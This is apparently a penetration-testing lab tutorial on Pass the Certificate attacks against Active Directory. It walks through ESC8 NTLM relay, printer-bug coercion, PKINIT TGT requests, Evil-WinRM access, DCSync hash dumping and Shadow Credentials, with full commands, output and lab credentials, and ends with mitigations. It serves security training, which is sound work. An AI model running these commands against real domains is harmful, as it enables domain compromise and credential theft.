Pass the Certificate (PtC) Attacks
A Pass the Certificate (PtC) attack uses X.509 certificates to obtain Ticket Granting Tickets (TGTs) for authentication. This technique leverages PKINIT, an extension of the Kerberos protocol that enables the use of public key cryptography during initial authentication. It is primarily used alongside attacks against Active Directory Certificate Services (AD CS) and Shadow Credential attacks.
PKINIT Overview
PKINIT (Public Key Cryptography for Initial Authentication) is a Kerberos extension that allows users to authenticate using certificates instead of passwords. It is typically used for smart card authentication, where the private key is stored on the smart card.
How PKINIT Works
- User presents their certificate to the KDC
- KDC validates the certificate against the CA
- If valid, KDC issues a TGT encrypted with the certificate’s public key
- User decrypts the TGT with their private key
Attackers can abuse this by obtaining valid certificates through AD CS attacks and using them to request TGTs.
Prerequisites
To perform a Pass the Certificate attack, you need:
- A valid X.509 certificate for a target user or computer
- The corresponding private key (typically in PFX/PKCS12 format)
- The certificate must be trusted by the domain’s Certificate Authority
Certificates can be obtained through:
- AD CS NTLM Relay attacks (ESC8)
- Shadow Credential attacks (msDS-KeyCredentialLink abuse)
- Compromised Certificate Authority
- Stolen certificates from user workstations
AD CS NTLM Relay Attack (ESC8)
ESC8 is an NTLM relay attack targeting an AD CS HTTP endpoint. When a CA is configured to allow web enrollment over HTTP, attackers can relay authentication requests to obtain certificates.
Note: AD CS attacks are covered in depth in dedicated ADCS Attacks modules.
Step 1: Set Up NTLM Relay
Use Impacket’s ntlmrelayx to listen for inbound connections and relay them to the web enrollment service:
$ impacket-ntlmrelayx -t http://10.129.234.110/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication
Note: The --template value may differ by environment. This specifies the certificate template used by Domain Controllers for authentication. Enumerate templates with tools like certipy.
Step 2: Coerce Authentication
Force a machine account to authenticate against your host using the printer bug:
$ python3 printerbug.py INLANEFREIGHT.LOCAL/wwhite:"package5shores_topher1"@10.129.234.109 10.10.16.12
[*] Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attempting to trigger authentication via rprn RPC at 10.129.234.109
[*] Bind OK
[*] Got handle
RPRN SessionError: code: 0x6ba - RPC_S_SERVER_UNAVAILABLE - The RPC server is unavailable.
[*] Triggered RPC backconnect, this may or may not have worked
Requirement: The target machine must have the Printer Spooler service running.
Step 3: Obtain Certificate
The relay attack produces output similar to:
[*] Authenticating against http://10.129.234.110 as INLANEFREIGHT/DC01$ SUCCEED
[*] Converting PEM -> PFX with cryptography: eFUVVTPf.pfx
[+] PFX exportiert nach: eFUVVTPf.pfx
[i] Passwort für PFX: bmRH4LK7UwPrAOfvIx6W
[+] Saved PFX (#PKCS12) certificate & key at path: eFUVVTPf.pfx
[*] Must be used with password: bmRH4LK7UwPrAOfvIx6W
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Obtaining a TGT with PKINIT
Using gettgtpkinit.py (PKINITtools)
Installation
$ git clone https://github.com/dirkjanm/PKINITtools.git && cd PKINITtools
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip3 install -r requirements.txt
Fix for libcrypto errors:
$ pip3 install -I git+https://github.com/wbond/oscrypto.git
Request TGT Using Certificate
For a machine account certificate:
$ python3 gettgtpkinit.py -cert-pfx ../krbrelayx/DC01\$.pfx -dc-ip 10.129.234.109 'inlanefreight.local/dc01$' /tmp/dc.ccache
2025-04-28 21:20:40,073 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-04-28 21:20:40,351 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-04-28 21:21:05,508 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-04-28 21:21:05,508 minikerberos INFO 3a1d192a28a4e70e02ae4f1d57bad4adbc7c0b3e7dceb59dab90b8a54f39d616
INFO:minikerberos:3a1d192a28a4e70e02ae4f1d57bad4adbc7c0b3e7dceb59dab90b8a54f39d616
2025-04-28 21:21:05,512 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
For a user certificate with PFX password:
$ python3 gettgtpkinit.py -cert-pfx ../eFUVVTPf.pfx -pfx-pass 'bmRH4LK7UwPrAOfvIx6W' -dc-ip 10.129.234.109 INLANEFREIGHT.LOCAL/jpinkman /tmp/jpinkman.ccache
2025-04-28 20:50:04,728 minikerberos INFO Loading certificate and key from file
2025-04-28 20:50:04,775 minikerberos INFO Requesting TGT
2025-04-28 20:50:04,929 minikerberos INFO AS-REP encryption key (you might need this later):
2025-04-28 20:50:04,929 minikerberos INFO f4fa8808fb476e6f982318494f75e002f8ee01c64199b3ad7419f927736ffdb8
2025-04-28 20:50:04,937 minikerberos INFO Saved TGT to file
Pass the Ticket After Certificate Authentication
Once you have a TGT, you can use standard Pass the Ticket techniques.
Set Environment Variable
$ export KRB5CCNAME=/tmp/jpinkman.ccache
Verify Ticket
$ klist
Ticket cache: FILE:/tmp/jpinkman.ccache
Default principal: jpinkman@INLANEFREIGHT.LOCAL
Valid starting Expires Service principal
04/28/2025 20:50:04 04/29/2025 06:50:04 krbtgt/INLANEFREIGHT.LOCAL@INLANEFREIGHT.LOCAL
Connect via Evil-WinRM
$ evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jpinkman\Documents> whoami
inlanefreight\jpinkman
Note: Ensure that /etc/krb5.conf is properly configured for Kerberos authentication.
DCSync with Machine Account TGT
As a domain controller’s machine account, perform a DCSync attack:
$ export KRB5CCNAME=/tmp/dc.ccache
$ impacket-secretsdump -k -no-pass -dc-ip 10.129.234.109 -just-dc-user Administrator 'INLANEFREIGHT.LOCAL/DC01$'@DC01.INLANEFREIGHT.LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:...SNIP...:::
Shadow Credentials (msDS-KeyCredentialLink)
Shadow Credentials is an attack that abuses the msDS-KeyCredentialLink attribute of a victim user. This attribute stores public keys that can be used for authentication via PKINIT. In BloodHound, the AddKeyCredentialLink edge indicates write permissions over another user’s msDS-KeyCredentialLink attribute.
Using pywhisker
Generate a certificate and write the public key to the victim’s msDS-KeyCredentialLink attribute:
$ pywhisker --dc-ip 10.129.234.109 -d INLANEFREIGHT.LOCAL -u wwhite -p 'package5shores_topher1' --target jpinkman --action add
[*] Searching for the target account
[*] Target user found: CN=Jesse Pinkman,CN=Users,DC=inlanefreight,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 3496da7f-ab0d-13e0-1273-5abca66f901d
[*] Updating the msDS-KeyCredentialLink attribute of jpinkman
[+] Updated the msDS-KeyCredentialLink attribute of the target object
pywhisker Commands
| Command | Description |
|---|---|
--action add | Add a new KeyCredential to the target |
--action list | List existing KeyCredentials |
--action remove --device-id <id> | Remove a specific KeyCredential |
--action clear | Remove all KeyCredentials |
When PKINIT Is Not Supported
In certain environments, the KDC may not support the appropriate EKU (Extended Key Usage) for PKINIT authentication. In these cases, use PassTheCert to authenticate against LDAPS and perform various attacks.
PassTheCert
PassTheCert authenticates against LDAPS using a certificate and can perform various attacks without PKINIT support:
- Change user passwords
- Grant DCSync rights
- Modify group memberships
- Add computer accounts
Repository: https://github.com/AlmondOffSec/PassTheCert
Summary of Key Commands
| Tool | Command | Purpose |
|---|---|---|
| ntlmrelayx | impacket-ntlmrelayx -t http://<CA>/certsrv/certfnsh.asp --adcs -smb2support | Relay NTLM to AD CS |
| printerbug.py | python3 printerbug.py DOMAIN/user:pass@target attacker_ip | Coerce authentication via printer bug |
| gettgtpkinit.py | python3 gettgtpkinit.py -cert-pfx <pfx> -dc-ip <dc> DOMAIN/user ccache | Request TGT with certificate |
| pywhisker | pywhisker -d DOMAIN -u user -p pass --target victim --action add | Shadow Credentials attack |
| certipy | certipy find -u user@domain -p pass -dc-ip <dc> | Enumerate AD CS templates |
| evil-winrm | evil-winrm -i <host> -r <realm> | Connect using Kerberos auth |
| secretsdump | impacket-secretsdump -k -no-pass <target> | DCSync with Kerberos |
Related Attack Paths
| Attack | Description |
|---|---|
| ESC1-ESC8 | Various AD CS misconfigurations |
| Golden Certificate | Forge certificates using compromised CA private key |
| Shadow Credentials | Abuse msDS-KeyCredentialLink for persistence |
| UnPAC the Hash | Recover NTLM hash from AS-REP using certificate |
Mitigations
- Disable HTTP-based certificate enrollment or require HTTPS
- Enable Extended Protection for Authentication on AD CS web endpoints
- Monitor changes to
msDS-KeyCredentialLinkattribute - Implement certificate-based authentication logging
- Use Certificate Enrollment Web Service (CES) instead of legacy web enrollment
- Restrict certificate template permissions
- Disable the Print Spooler service on Domain Controllers
- Enable Credential Guard to protect against ticket theft